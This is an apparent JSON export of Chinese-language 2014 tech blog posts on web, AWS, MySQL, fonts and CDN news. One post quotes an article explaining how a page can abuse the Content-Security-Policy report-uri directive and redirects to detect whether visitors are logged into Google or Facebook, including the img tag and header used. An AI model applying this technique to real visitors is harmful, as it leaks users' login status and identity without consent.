    "body": "<a href=\"http://jquery.com/\">jQuery</a> 官方希望大家不要再使用 jquery-latest.js 了：「<a href=\"http://blog.jquery.com/2014/07/03/dont-use-jquery-latest-js/\">Don’t Use jquery-latest.js</a>」。\r\n\r\n由於他們發現有大量的網站使用 jquery-latest.js，如果直接照著字面上的意思升級到 2.0，會造成這些網站在 IE{6,7,8} 上爛掉：\r\n\r\n<blockquote>To mitigate the risk of “breaking the web”, the jQuery team decided back in 2013 that jquery-latest.js could not be upgraded to the 2.0 branch even though that is technically the latest version. There would just be too many sites that would mysteriously stop working with older versions of Internet Explorer, and many of those sites may not be maintained today.</blockquote>\r\n\r\n所以官方已經決定將這個檔案鎖定在 1.11.1 版：\r\n\r\n<blockquote>As jQuery adoption has continued to grow, even that safeguard seems insufficient to protect against careless use of http://code.jquery.com/jquery-latest.js. So we have decided to stop updating this file, as well as the minified copy, keeping both files at version 1.11.1 forever. The latest released version is always available through either the jQuery core download page or the CDN home page. Developers can download the latest version from one of those pages or reference it in a script tag directly from the jQuery CDN by version number.</blockquote>\r\n\r\n同時，這個決策得到 Google CDN team 的支持，所以 Google CDN 上的 http://ajax.googleapis.com/ajax/libs/jquery/1/jquery.js 也將鎖在 1.11.1：\r\n\r\n<blockquote>The Google CDN team has joined us in this effort to prevent inadvertent web breakage and no longer updates the file at http://ajax.googleapis.com/ajax/libs/jquery/1/jquery.js. That file will stay locked at version 1.11.1 as well. However, note that this file currently has a very short cache time, which means you’re losing the performance benefit of of a long cache time that the CDN provides when you request a full version like 1.11.1 instead.</blockquote>\r\n\r\n同時官方也再三宣導，請不要用 jquery-latest.js 了，應該在使用時指定版本號碼。\r\n\r\n這個決策算是一種 workaround，避免全世界一堆網站爛掉...",
    "title": "關於 jquery-latest.js..."
  },
  {
    "id": "4854",
    "body": "昨天 <a href=\"http://aws.amazon.com/\">AWS</a> 推出的新功能，讓 <a href=\"http://aws.amazon.com/iam/\">IAM</a> 帳號可以使用 AWS Billing Console：「<a href=\"https://aws.amazon.com/blogs/aws/billing-console-iam/\">Additional IAM Support in the AWS Billing Console</a>」。\r\n\r\n這樣每個月報帳的時候就可以用 IAM 帳號登入進去看，而非用母帳號...\r\n\r\n多了六個權限設定：<code>{View,Modify}{Billing,Account,PaymentMethods}</code>，這六個權限都跟帳戶與帳務有關。",
    "title": "IAM 帳號總算可以管理帳務了..."
  },
  {
    "id": "4856",
    "body": "<a href=\"https://www.google.com/\">Google</a> 昨天發出的公告，發現 <a href=\"https://nicca.nic.in/\">NIC of India</a> 發出了幾張 Google 網域的 SSL 憑證：「<a href=\"http://googleonlinesecurity.blogspot.com/2014/07/maintaining-digital-certificate-security.html\">Maintaining digital certificate security</a>」。\r\n\r\nNIC of India 所取得的憑證權限是 India CCA 所發出的 Intermediate CA 權限。而目前 India CCA 只在 <a href=\"http://social.technet.microsoft.com/wiki/contents/articles/5225.windows-root-certificate-program-members-october-2011.aspx\">Microsoft Root Store</a> 上面有使用，所以會受到影響的範圍是 Windows 上的 IE 以及應用程式，而因為 <a href=\"http://www.google.com/chrome\">Google Chrome</a> 有白名單保護，至少在 Google 的網域裡面是不受到直接傷害...\r\n\r\n事情還在調查 (還在戳湯圓？)，歷史總是不斷地重演...",
    "title": "NIC of India 簽發 Google 的 certificate"
  },
  {
    "id": "4859",
    "body": "<a href=\"https://www.google.com/\">Google</a> 的 <a href=\"https://www.imperialviolet.org/\">Adam Langley</a> 在他的 blog 上提出了一個很特別的想法，是不是把現在這些新增加的 TLD 都預先在瀏覽器裡納入 <a href=\"https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security\">HSTS</a>：「<a href=\"https://www.imperialviolet.org/2014/07/06/newtlds.html\">HSTS for new TLDs</a>」。\r\n\r\n<blockquote>Here's an idea: why not ask me to set HSTS for the entire TLD? That way, every single site runs over HTTPS, always. It strikes me that could be useful if you're trying to build trust with users unfamiliar with the zoo of new domains.</blockquote>\r\n\r\n只要任何一個比較大的 browser 這樣做，其實就相當於強制要求？看文章內的語氣，<a href=\"http://www.mozilla.org/firefox/\">Firefox</a> + <a href=\"https://www.google.com/chrome\">Google Chrome</a> 看起來會是可能會參與的單位？",
    "title": "如果新的 TLD 都強制要求使用 HTTPS (HSTS)？"
  },
  {
    "id": "4861",
    "body": "<a href=\"https://aws.amazon.com/route53/\">Route 53</a> 與 <a href=\"https://aws.amazon.com/cloudfront/\">CloudFront</a> 在澳洲啟用第二個機房，墨爾本：「<a href=\"https://aws.amazon.com/blogs/aws/melbourne-pop/\">New Location for CloudFront and Route 53 - Melbourne, Australia</a>」。\r\n\r\n用 <a href=\"https://maps.google.com/\">Google Maps</a> 拉發現墨爾本與雪梨之間的直線距離大約七百公里，的確是應該多拉個點...",
    "title": "CloudFront 與 Route53 在澳洲多了墨爾本機房"
  },
  {
    "id": "4863",
    "body": "<a href=\"https://github.com/\">GitHub</a> 宣佈接受 <a href=\"https://www.paypal.com/\">PayPal</a> 付款，不過不是直接接 PayPal 的 API，而是透過 <a href=\"https://www.braintreepayments.com/\">Braintree</a> 提供的 API：「<a href=\"https://github.com/blog/1861-pay-for-github-with-paypal\">Pay for GitHub with PayPal</a>」。\r\n\r\n<img src=\"//i.imgur.com/dwgxH9R.png\" alt=\"\" />\r\n<small>GitHub 官方提供的 screenshot</small>\r\n\r\n雖然 PayPal 的風評大家都知道，但如果要支援 PayPal 最直接的方式還是接 PayPal API... 不直接使用 PayPal API 而要透過其他 API 的原因...？",
    "title": "GitHub 也接受 PayPal 付款了，不過不是直接接 PayPal..."
  },
  {
    "id": "4865",
    "body": "在清 n 天前的 <a href=\"http://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 時看到的：「<a href=\"http://www.expatistan.com/cost-of-living\">Cost of Living</a>」。\r\n\r\n以舊金山與台北來比較：「<a href=\"http://www.expatistan.com/cost-of-living/comparison/taipei/san-francisco\">Cost of living comparison between San Francisco, United States and Taipei, Taiwan</a>」。\r\n\r\n還... 蠻有趣的網站？",
    "title": "計算不同城市的生活開銷"
  },
  {
    "id": "4867",
    "body": "這邊的 BLOB field 指的包括 VARCHAR、VARBINARY、BLOB、TEXT 這些常常被拿來放大物件的類型：「<a href=\"http://mysqlserverteam.com/externally-stored-fields-in-innodb/\">Externally Stored Fields in InnoDB</a>」。\r\n\r\n<img src=\"//i.imgur.com/nsCCR7U.png\" alt=\"\" />\r\n\r\n這跟 InnoDB 存放的格式 (ROW_FORMAT) 也有關，對於不同的格式都需要分開討論。\r\n\r\n看之前需要帶一些背景知識，像是 <a href=\"https://en.wikipedia.org/wiki/Database_index\">Database index</a> 裡面講到 index 種類時所提到的 Clustered。\r\n\r\n看完後對 <a href=\"http://dev.mysql.com/\">MySQL</a> InnoDB 的運作方式會更了解一些，對於規劃 schema 也加減有些幫助。",
    "title": "InnoDB 的 BLOB field 存放的方式"
  },
  {
    "id": "4869",
    "body": "<a href=\"http://www.adobe.com/\">Adobe</a> 與 <a href=\"https://www.google.com/\">Google</a> 合作推出了 CJK 字型：「<a href=\"http://blog.typekit.com/alternate/source-han-sans-cht/\">隆重介紹 思源黑體：開放原始碼 Pan-CJK 字型</a>」、「<a href=\"http://googledevelopers.blogspot.com/2014/07/noto-cjk-font-that-is-complete.html\">Noto: A CJK Font That is Complete, Beautiful and Right for Your Language and Region</a>」。\r\n\r\n這些字體在 Adobe 與 Google 會叫做不同的名稱：\r\n\r\n<blockquote>Google will release it as Noto Sans CJK as part of Google's Noto font family. Adobe will release it as Source Han Sans as a part of Adobe's Source family.</blockquote>\r\n\r\n字體是由 Adobe 的<a href=\"https://twitter.com/ryon106\">西塚涼子</a>所開發，而 Adobe 也擁有字型的著作權，並以 <a href=\"http://www.apache.org/licenses/LICENSE-2.0.html\">Apache License 2.0</a> 放出來。\r\n\r\n而 Google 也有說明這些字型參與的過程：\r\n\r\n<blockquote>Google contributed significant input into project direction, helped to define requirements, provided in-country testing resources and expertise, and provided funding that made this project possible.</blockquote>\r\n\r\n而 Adobe 的部份：\r\n\r\n<blockquote>Adobe brought strong design and technical prowess to the table, along with proven in-country type design experience, massive coordination, and automation.</blockquote>\r\n\r\n另外還有幾家公司一起參與：\r\n\r\n<blockquote>In addition, three leading East Asian type foundries were also brought in to design and draw a bulk of the glyphs—Changzhou SinoType Technology, Iwata Corporation, and Sandoll Communication—due to the sheer size of the project and their local expertise.</blockquote>\r\n\r\n字體可以在 <a href=\"https://www.google.com/get/noto/\">Google Noto Fonts</a> 裡直接下載取得。\r\n\r\n切過去用以後還是有點不太習慣，不過目前第一印象還算不錯...",
    "title": "Adobe 與 Google 共同推出 CJK 字型"
  },
  {
    "id": "4871",
    "body": "<a href=\"https://www.digitalocean.com/\">DigitalOcean</a> 宣佈了倫敦機房 (代號 LON1)：「<a href=\"https://www.digitalocean.com/company/blog/introducing-our-london-region/\">Introducing Our London Region (LON1)</a>」。\r\n\r\n這是歐洲的第二個地區，第一個是荷蘭 Amsterdam。\r\n\r\n雖然官方沒有說，但 routing 的部份可以用 <code>speedtest-lon1.digitalocean.com</code> 測試。看起來初期的 routing 都還沒有 tune 好 XD\r\n\r\n從加州的 DigitalOcean 機房測試，發現會走 <a href=\"http://www.ntt.com/\">NTT</a> 的線路，先走到 NTT 在 Amsterdam 的點再到英國 (喂喂)。",
    "title": "DigitalOcean 倫敦機房"
  },
  {
    "id": "4878",
    "body": "在「<a href=\"http://words.zemn.me/csp\">When Security Generates Insecurity</a>」這篇文章裡，介紹了如何利用 <code>Content-Security-Policy</code> 攻擊網站。\r\n\r\n首先，我想要知道是不是有登入 <a href=\"https://www.facebook.com/\">Facebook</a> 或是 <a href=\"https://www.google.com/\">Google</a>：\r\n\r\n<blockquote>Interest piqued by the <code>report-uri</code> feature, I looked into abusing it to glean information about user state, my idea was this: when a user is <em>not</em> logged into Google Calendar, accessing calendar.google.com redirects them to accounts.google.com via a <code>Location</code> header. If I whitelisted calendar.google.com but not accounts.google.com, accessing that resource within my web page would break CSP, subsequently sending me a message telling me whether they were logged into Google.</blockquote>\r\n\r\n也就是說，利用 CSP 的 <code>report-uri</code> 以及重導的特性，可以分辨出使用者是否有登入。以 Facebook 以及 Google 的例子：\r\n\r\n<blockquote>The implementation was like this: I had a single image on the page <code>&lt;img src=\"http://calendar.google.com\"/&gt;</code>, and I sent the <code>Content-Security-Policy</code> header <code>Content-Security-Policy: image-src calendar.google.com</code>. The test was a success, I was able to detect login on Google. The same extended to Facebook; <code>apps.facebook.com</code> would redirect to <code>www.facebook.com</code> only if the user was logged in.</blockquote>\r\n\r\n另外，由於實務上可以偵測 path，所以可以去「猜測」使用者是不是某個特定的人，在文章裡假設的是美國總統 Barack Obama：\r\n\r\n<blockquote>By using CSP to whitelist facebook.com/me and facebook.com/barackobama and embedding http://facebook.com/me as an image, I can conditionally create a CSP report <em>only if</em> the current user on Facebook is <em>not</em> Barack Obama.</blockquote>\r\n\r\n很有趣的安全性問題...",
    "title": "用 Content-Security-Policy 攻擊"
  },
  {
    "id": "4881",
    "body": "現在新的 malware 或是 botnet 為了避免被 IDS/IPS 之類的設備抓包，大多都使用 SSL 連線傳遞資料在技術上躲避偵測。\r\n\r\n而為了因應新型態的 malware 與 botnet，就有人想到去建立 SSL certificate SHA-1 的資料庫來偵測：「<a href=\"http://threatpost.com/ssl-black-list-aims-to-publicize-certificates-associated-with-malware/107229\">SSL Black List Aims to Publicize Certificates Associated With Malware</a>」，也就是「<a href=\"https://sslbl.abuse.ch/\">SSL Blacklist</a>」這個服務。\r\n\r\n不過這應該會再演變成透過 malware 與 botnet 改用 PKI 架構而變成要偵測 CA 簽名的部份？還可以想出一些變形...",
    "title": "SSL Blacklist"
  },
  {
    "id": "4883",
    "body": "<img src=\"//i.imgur.com/Rx30ERn.png\" alt=\"\" />\r\n<small>Noto 的逗點問題。</small>\r\n\r\n<a href=\"http://www.plurk.com/\">Plurk</a> 上查到的 <a href=\"http://www.plurk.com/p/k7pya8\">http://www.plurk.com/p/k7pya8</a> (<a href=\"http://www.plurk.com/pingooo\">pingooo</a>)，在 <a href=\"https://github.com/\">GitHub</a> 上已經修正，也就是下一個版本就會更新：「<a href=\"https://github.com/adobe-fonts/source-han-sans/issues/1\">The `U+FF0C FULLWIDTH COMMA` (，) is visually unaligned in Source Han Sans TWHK</a>」。",
    "title": "Noto 的逗點問題"
  },
  {
    "id": "4885",
    "body": "在 <a href=\"http://www.osnews.com/\">OSNew</a> 上看到為什麼 Outlook 裡 Ctrl-F 不是 find 的原因：「<a href=\"http://www.osnews.com/story/27841/Why_does_Outlook_map_Ctrl_F_to_forward_instead_of_find_\">Why does Outlook map Ctrl+F to forward instead of find?</a>」。\r\n\r\n先引用這句話：\r\n\r\n<blockquote>Before clicking the link to go to the full story, try to guess the answer. I'm pretty sure you're going to be wrong.</blockquote>\r\n\r\n原文在「<a href=\"http://blogs.msdn.com/b/oldnewthing/archive/2014/07/15/10542285.aspx\">Why does Outlook map Ctrl+F to Forward instead of Find, like all right-thinking programs?</a>」這邊，1995 年發生的事情。",
    "title": "Outlook 裡 Ctrl-F 的設計"
  },
  {
    "id": "4887",
    "body": "然後從裡面拉出四萬張照片：「<a href=\"http://blog.avast.com/2014/07/08/tens-of-thousands-of-americans-sell-themselves-online-every-day/\">Tens of thousands of Americans sell themselves online every day</a>」。\r\n\r\n<blockquote>We purchased 20 used Android phones off eBay and used simple and easily available recovery software to restore deleted files.</blockquote>\r\n\r\n雖然文章是在推銷 <a href=\"http://www.avast.com/\">avast</a> 的 <a href=\"http://www.android.com/\">Android</a> 清除軟體，但還是顯示出一般人對資安上的熟悉度不足。",
    "title": "avast 的人從網路上買了二十台智慧型手機..."
  },
  {
    "id": "4889",
    "body": "<img src=\"//i.imgur.com/MECJ88j.jpg\" alt=\"\" />\r\n\r\n基地台的密度比氣象站以及雷達的密度高很多，於是就有人想用基地台的訊號衰減資料來監控氣象：「<a href=\"http://science.slashdot.org/story/14/07/12/2327209/new-technology-uses-cellular-towers-for-super-accurate-weather-measurements\">New Technology Uses Cellular Towers For Super-Accurate Weather Measurements</a>」。原文在「<a href=\"http://www.i24news.tv/en/news/weather/36885-140711-cellular-towers-in-the-service-of-meteorology\">Cellular towers in the service of meteorology</a>」這邊。\r\n\r\n很好玩的方法，一個城市裡面有上百上千隻基地台，用這些資料來分析 XD",
    "title": "用基地台的訊號監控天氣"
  },
  {
    "id": "4891",
    "body": "<a href=\"https://blog.othree.net/\">othree</a> 前天已經寫過：「<a href=\"https://blog.othree.net/log/2014/07/18/mozjpeg-2/\">mozjpeg 2.0</a>」，不過因為這類性的研究其實對全世界幫助頗大，所以就再提一次...\r\n\r\n原文在「<a href=\"https://blog.mozilla.org/research/2014/07/15/mozilla-advances-jpeg-encoding-with-mozjpeg-2-0/\">Mozilla Advances JPEG Encoding with mozjpeg 2.0</a>」這邊，主要的成果：\r\n\r\n<blockquote>With today’s release, mozjpeg 2.0 can reduce file sizes for both baseline and progressive JPEGs by 5% on average compared to those produced by libjpeg-turbo, the standard JPEG library upon which mozjpeg is based [1]. Many images will see further reductions.</blockquote>\r\n\r\n文章內也出現了一些關鍵字：\r\n\r\n<blockquote>We’ve added options to specifically tune for PSNR, PSNR-HVS-M, SSIM, and MS-SSIM metrics.</blockquote>\r\n\r\n<a href=\"https://en.wikipedia.org/wiki/Peak_signal-to-noise_ratio\">PSNR</a> 是最常聽到的，其他幾個 keyword 剛好可以拿來當 entry point。在「<a href=\"https://en.wikipedia.org/wiki/Video_quality\">Video quality</a>」這邊的 See also 部份也有不少 keyword 可以查...",
    "title": "Mozilla 推出 mozjpeg 2.0"
  },
  {
    "id": "4893",
    "body": "看到「<a href=\"https://github.com/cjbarber/ToolsOfTheTrade\">Tools of The Trade, from Hacker News.</a>」這個，把各種只要跟 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 有關的工具都列出來了。\r\n\r\n已經用了某個工具，要找同質性的替代方案也可以在這邊找... 太過基礎的就只列出來而不會解釋了，像是「Google Analytics」XD",
    "title": "Hacker News 上所推薦的各種工具"
  },
  {
    "id": "4898",
    "body": "<a href=\"https://aws.amazon.com/elasticloadbalancing/\">Elastic Load Balancing</a> 之前的 timeout 時間是預設值 60 秒，現在可以自訂時間了：「<a href=\"https://aws.amazon.com/blogs/aws/elb-idle-timeout-control/\">Elastic Load Balancing Connection Timeout Management</a>」。\r\n\r\n<img src=\"//i.imgur.com/5Xuu92Y.png\" alt=\"\" />\r\n\r\n文章裡有提到好處：\r\n\r\n<blockquote>Some applications can benefit from a longer timeout because they create a connection and leave it open for polling or extended sessions. Other applications tend to have short, non- recurring requests to AWS and the open connection will hardly ever end up being reused.</blockquote>\r\n\r\n目前可以設定 1 秒到 3600 秒，預設值是 60 秒。",
    "title": "AWS 的 ELB 可以自訂 HTTP/HTTPS Timeout 時間了"
  },
  {
    "id": "4900",
    "body": "沒記錯的話，<a href=\"http://www.mobile01.com/\">Mobile01</a> 應該是去年暑假左右從 MyISAM 換成 InnoDB 的？一切的起頭應該是蔣大「<a href=\"http://www.mobile01.com/topicdetail.php?f=506&amp;t=2982822&amp;p=1\">現在SSD硬碟可以拿來跑資料庫嗎?</a>」這篇。\r\n\r\n<ul>\r\n\t<li><a href=\"http://www.mobile01.com/topicdetail.php?f=506&amp;t=4002081&amp;last=51233391\">使用DRBD與Heartbeat建構高可靠性的MySQL資料庫伺服器 (1/4: DRBD安裝與設定)</a></li>\r\n\t<li><a href=\"http://www.mobile01.com/topicdetail.php?f=506&amp;t=4002292&amp;last=51235608\">使用DRBD與Heartbeat建構高可靠性的MySQL資料庫伺服器 (2/4: 資料庫伺服器)</a></li>\r\n\t<li><a href=\"http://www.mobile01.com/topicdetail.php?f=506&amp;t=4002571&amp;last=51239060\">使用DRBD與Heartbeat建構高可靠性的MySQL資料庫伺服器 (3/4: Heartbeat)</a></li>\r\n\t<li><a href=\"http://www.mobile01.com/topicdetail.php?f=506&amp;t=4004889&amp;last=51266060\">使用DRBD與Heartbeat建構高可靠性的MySQL資料庫伺服器 (4/4: Replication)</a></li>\r\n</ul>\r\n\r\n另外同場加映，使用 <a href=\"http://www.percona.com/\">Percona</a> 的工具讓管理上更方便：\r\n\r\n<ul>\r\n\t<li><a href=\"http://www.mobile01.com/topicdetail.php?f=506&amp;t=4005357&amp;last=51271208\">使用Percona Tool Kit修復MySQL Replication資料不同步</a></li>\r\n\t<li><a href=\"http://www.mobile01.com/topicdetail.php?f=506&amp;t=4006527&amp;last=51287830\">使用Percona XtraBackup備份MySQL資料庫</a></li>\r\n</ul>\r\n\r\nMyISAM 是 <a href=\"http://dev.mysql.com/\">MySQL</a> 5.0 與 5.1 預設的 storage engine (到 5.5+ 預設的 storage engine 改成 InnoDB)，讀取的效能相當好，但總是有些問題。\r\n\r\n當時剛好有機會跟蔣大與 Ryan 聊到當時 Mobile01 遇到的問題，問了一些細節後感覺上是 MyISAM 的問題，就提了 MyISAM 與 InnoDB 的優缺點比較，以及幾個 InnoDB 的 High Availability 的解決方案 (晚上就算設備出問題也不用擔心要爬起來救機器)：\r\n\r\n<ul>\r\n\t<li>MyISAM 的讀寫互斥、寫入也是互斥。當有資料在讀取時無法更改資料庫內容，而有寫入時其他人不能讀取。另外同時間只能有一個人寫入。(有少數操作是例外，像是 bulk insert，這邊跳過)</li>\r\n\t<li>MyISAM 不是 crash-safe storage engine。機器總是有機會爛掉，這時候除了重開機的時間外，還需要有修 table 的時間，對於網站的 uptime 比較痛。</li>\r\n</ul>\r\n\r\n這兩點是當時 Mobile01 遇到最痛的問題：用 iostat 看起來 I/O 明明就沒有滿，但就是會卡 SQL query，而當機後修資料庫的時間又很長。\r\n\r\n一個是已經在業界驗證很久的解決方案 XFS + <a href=\"http://www.drbd.org/\">DRBD</a> + <a href=\"http://linux-ha.org/wiki/Heartbeat\">Heartbeat</a>，當機器發生問題時的 downtime 從 30secs 到五分鐘 (依照資料性質與大小而有差異，在切換上線後有資料庫的熱機問題)。\r\n\r\n另外一個是當時還很新的 <a href=\"http://www.percona.com/software/percona-xtradb-cluster\">Percona XtraDB Cluster</a>，可以避免資料庫的熱機問題，不過技術很新。\r\n\r\n後來 Mobile01 用 RAID 10 的硬體，軟體的部份用 <a href=\"http://www.debian.org/\">Debian</a> + XFS + DRBD + Heartbeat 跑 <a href=\"http://www.percona.com/software/percona-server\">Percona Server</a> 的 XtraDB (InnoDB 的加強版)，先用 VM 做了 PoC (直接砍掉 mysqld，或是直接關掉 VM 之類的，測試整個機制夠不夠自動化)，然後就上線了 :p\r\n\r\n記得上線那幾天跟 Ryan 聊，好像效果還不錯吧...",
    "title": "Mobile01 的 Ryan 換 InnoDB 的筆記與心得"
  },
  {
    "id": "4906",
    "body": "在「<a href=\"http://philsturgeon.uk/blog/2014/07/send-psr0-to-the-standards-farm-in-the-sky\">Send PSR-0 to the Standards Farm in the Sky</a>」這篇文章裡作者大聲呼籲用 <a href=\"http://www.php-fig.org/psr/psr-4/\">PSR-4</a> 取代 <a href=\"http://www.php-fig.org/psr/psr-0/\">PSR-0</a>。\r\n\r\n不過 PSR-0 在 <a href=\"https://packagist.org/\">Packagist</a> 上被廣泛使用：\r\n\r\n<blockquote>As of some time a few months ago (...), of the 20,097 packages hosted on Composer, 15,668 of them use PSR-0.</blockquote>\r\n\r\nPSR-0 的設計是考慮到 <a href=\"http://www.php.net/\">PHP</a> 5.2 沒有 namespace 時所留下來的特性 (以底線為主的切割方式)，在 PHP 5.5 都已經出版，而且 PHP 5.2 已經 EoL 的時候顯得有點多餘。\r\n\r\n作者提議在 PSR-0 的文件開頭加上：\r\n\r\n<blockquote>Deprecated - As of 2014-12-30 PSR-0 has been marked as deprecated. PSR-4 is now recommended as an alternative.</blockquote>\r\n\r\n不過 PSR-0 的專案應該還是會跑很久？",
    "title": "PSR-0 轉換到 PSR-4"
  },
  {
    "id": "4908",
    "body": "在 <a href=\"https://nomadphp.com/\">Nomad PHP EU</a> 上的議程：「<a href=\"https://beau.io/talks/2014/07/24/composer-stability-and-semantic-versioning-demystified-nomad-php-eu/\">Composer: Stability and Semantic Versioning Demystified</a>」，講 <a href=\"http://semver.org/\">Semantic Versioning</a> 在 <a href=\"https://getcomposer.org/\">Composer</a> 上的應用。\r\n\r\n<script async class=\"speakerdeck-embed\" data-id=\"0fbd9970f4ed0131f0bb6a61d0f287b8\" src=\"//speakerdeck.com/assets/embed.js\"></script>\r\n\r\n投影片還講到了 Composer 處理版本需求互相重疊時的情況，可能會有 conflict 的問題...",
    "title": "Semantic Versioning 與 Composer 的應用"
  },
  {
    "id": "4910",
    "body": "去年年底參加 <a href=\"http://spark-summit.org/\">Spark Summit</a> 時有用 <a href=\"http://www.caltrain.com/\">Caltrain</a> 當作交通工具回飯店，好像是搭到末班車... (或者說是接近末班車？有點忘了...)\r\n\r\n<a href=\"http://www.takefleet.com/\">Fleet</a> 的服務則是填補 Caltrain 減班或是休息的時候，用小型車在 Caltrain 的幾個大站提供服務：\r\n\r\n<blockquote>Ride with friends, or meet other cool people on the way; we drive in a car, van, or shuttle seating 5 to 15 people.</blockquote>\r\n\r\n<blockquote>Our shuttles run between 8 PM and 5 AM everyday, with 5 southbound departures, and 5 northbound departures.</blockquote>\r\n\r\n另外主打比 <a href=\"https://www.uber.com/\">Uber</a> 便宜許多：\r\n\r\n<blockquote>We are also ~2-4X cheaper than Uber and other ridesharing alternatives.</blockquote>\r\n\r\n還蠻有趣的嘗試，不知道成效如何...",
    "title": "填補 Caltrain 營運空缺的 Fleet"
  },
  {
    "id": "4912",
    "body": "在「<a href=\"http://markdotto.com/2014/07/23/githubs-css/\">GitHub's CSS</a>」這篇裡面講了很多 <a href=\"https://github.com/\">GitHub</a> 設計的工具，以及評估的方式。\r\n\r\n原文有提到 IE9 以及之前的版本中，單檔有 4095 selector 的限制，這點讓人稍微怔了一下：\r\n\r\n<blockquote>The split was added years ago to solve the problem of Internet Explorer’s 4,095 selectors per file limit.</blockquote>\r\n\r\n超過的要切割讀入...\r\n\r\n另外在文中有提到 2012 年的投影片「<a href=\"https://speakerdeck.com/jonrohan/githubs-css-performance\">GitHub's CSS Performance</a>」吸引我的目光：\r\n\r\n<script async class=\"speakerdeck-embed\" data-id=\"50ae30301fb9013041ed22000a9d04af\" src=\"//speakerdeck.com/assets/embed.js\"></script>\r\n\r\n針對 diff 頁面大量元素時的 CSS 效能分析，除了各種 browser 裡 index id &amp; class &amp; tag 的方式外，另外還有不少為了加速而直接修改 HTML 的建議 XDDD",
    "title": "GitHub 的 CSS 設計"
  },
  {
    "id": "4914",
    "body": "<a href=\"http://www.oracle.com/\">Oracle</a> 的梶山隆輔在 <a href=\"http://coscup.org/2014/\">COSCUP 2014</a> 的投影片：「<a href=\"http://www.slideshare.net/rkajiyama/20140720-coscup-mysqlperfen\">MySQL Performance Tuning at COSCUP 2014</a>」：\r\n\r\n<iframe src=\"//www.slideshare.net/slideshow/embed_code/37221912\" width=\"427\" height=\"356\" frameborder=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\" style=\"border:1px solid #CCC; border-width:1px; margin-bottom:5px; max-width: 100%;\" allowfullscreen> </iframe>\r\n\r\n推薦的主力在 <a href=\"http://dev.mysql.com/\">MySQL</a> 5.6，這點 <a href=\"http://www.percona.com/\">Percona</a> 的人也已經宣傳過很多次了：\r\n\r\n<img src=\"//i.imgur.com/rphSVfB.jpg\" alt=\"\" />\r\n\r\nMySQL 5.6 的改善很大，尤其是針對 InnoDB 相關的改善。在 MySQL 5.5 上還會有 CPU 吃不滿的情況，在 MySQL 5.6 好很多。",
    "title": "Oracle 在 COSCUP 2014 上對 MySQL 效能調整的投影片"
  },
  {
    "id": "4917",
    "body": "<a href=\"http://hhvm.com/\">HHVM</a> 的人決定起草將 <a href=\"http://www.php.net/\">PHP</a> 這個程式語言的規格定義出來：「<a href=\"http://hhvm.com/blog/5723/announcing-a-specification-for-php\">Announcing a specification for PHP</a>」。\r\n\r\n文件可以在「<a href=\"https://github.com/php/php-langspec/blob/master/spec/php-spec-draft.md\">Specification for PHP</a>」這邊看到，不知道後續會有什麼進展？",
    "title": "PHP 語言的定義"
  },
  {
    "id": "4919",
    "body": "<a href=\"http://aws.amazon.com/route53/\">Amazon Route 53</a> 的大改版：「<a href=\"https://aws.amazon.com/blogs/aws/route-53-domain-reg-geo-route-price-drop/\">Route 53 Update - Domain Name Registration, Geo Routing, and a Price Reduction</a>」。\r\n\r\n首先是可以註冊 domain，除了 web console 外，還可以透過 API 註冊：「<a href=\"http://docs.aws.amazon.com/Route53/latest/APIReference/actions-on-domain-registrations.html\">Actions on Domain Registrations</a>」。\r\n\r\n看起來 privacy protection 的部份是跟 <a href=\"http://www.gandi.net/\">Gandi</a> 合作：\r\n\r\n<blockquote>Turns privacy protection on or off for the domain, determining whether WHOIS queries return contact information specified in the registrar record. If privacy protection is enabled, the query returns contact information for our registrar partner, Gandi, instead of the contact information that is specified in the registrar record.</blockquote>\r\n\r\n沒看到可以註冊的 tld 的 API，但是網站 web console 連進去可以看到其實相當多... (不過目前沒看到 <code>.tw</code>)\r\n\r\n另外一個大功能是 Geo Routing，可以選擇洲別，或是地區別。不過「美國本土」(海外的部份有另外分區) 與「中國」這兩個網路大國都各只有一區，而不是把再依照各州或各省細分... (有不少 CDN 所提供的 DNS 服務是把美國依照各州列出設定...)\r\n\r\n但至少補上了這一塊，這樣可以用 Route53 配合 multi-CDN 的機制，而不需要自己刻了...\r\n\r\n然後最後是 query 的價錢降價 20%：\r\n\r\n<blockquote>Last, but certainly not least, I am happy to tell you that we have reduced the prices for Standard and LBR (Location-Based Routing) queries by 20%.</blockquote>\r\n\r\n是該看看要不要撤掉 <a href=\"https://www.zerigo.com/\">Zerigo</a>，因為目前這塊最大的成本其實是報帳以及帳號控管，而非單純租用成本 :o",
    "title": "Route 53 的大改版"
  },
  {
    "id": "4922",
    "body": "<a href=\"http://www.apple.com/\">Apple</a> 自家建立了 CDN 並且開始服務：「<a href=\"http://blog.streamingmedia.com/2014/07/apples-cdn-now-live.html\">Apple’s CDN Now Live: Has Paid Deals With ISPs, Massive Capacity In Place</a>」。\r\n\r\n找了好久才找到 <code>swcdn.apple.com</code> 這個名稱，sw 不知道是不是指 switch 的意思？\r\n\r\n從 blog 這台主機 (<a href=\"https://digitalocean.com/\">DigitalOcean</a> 在 San Jose 的機房) 可以看到被指到 SFO 的 Apple CDN：\r\n\r\n<pre>swcdn.apple.com.        3600    IN      CNAME   swcdn.apple.com.akadns.net.\r\nswcdn.apple.com.akadns.net. 300 IN      CNAME   ussjc1.cdn-apple.com.akadns.net.</pre>\r\n\r\n而如果從台灣查，則會導去 <a href=\"http://www.akamai.com/\">Akamai</a>：\r\n\r\n<pre>swcdn.apple.com.        3282    IN      CNAME   swcdn.apple.com.akadns.net.\r\nswcdn.apple.com.akadns.net. 300 IN      CNAME   swcdn.apple.com.edgesuite.net.</pre>\r\n\r\n看起來還是用 Akamai 提供的 DNS 服務。而從導的情況看起來，符合原文作者 Dan Rayburn 的說明，目前只有歐美地區是走自家的 CDN：\r\n\r\n<blockquote>Recently, Apple’s CDN has gone live in the U.S. and Europe and the company is now delivering some of their own content, directly to consumers.</blockquote>\r\n\r\n量夠大就會這樣玩，應該是逐步繼續做？",
    "title": "蘋果自家的 CDN"
  },
  {
    "id": "4925",
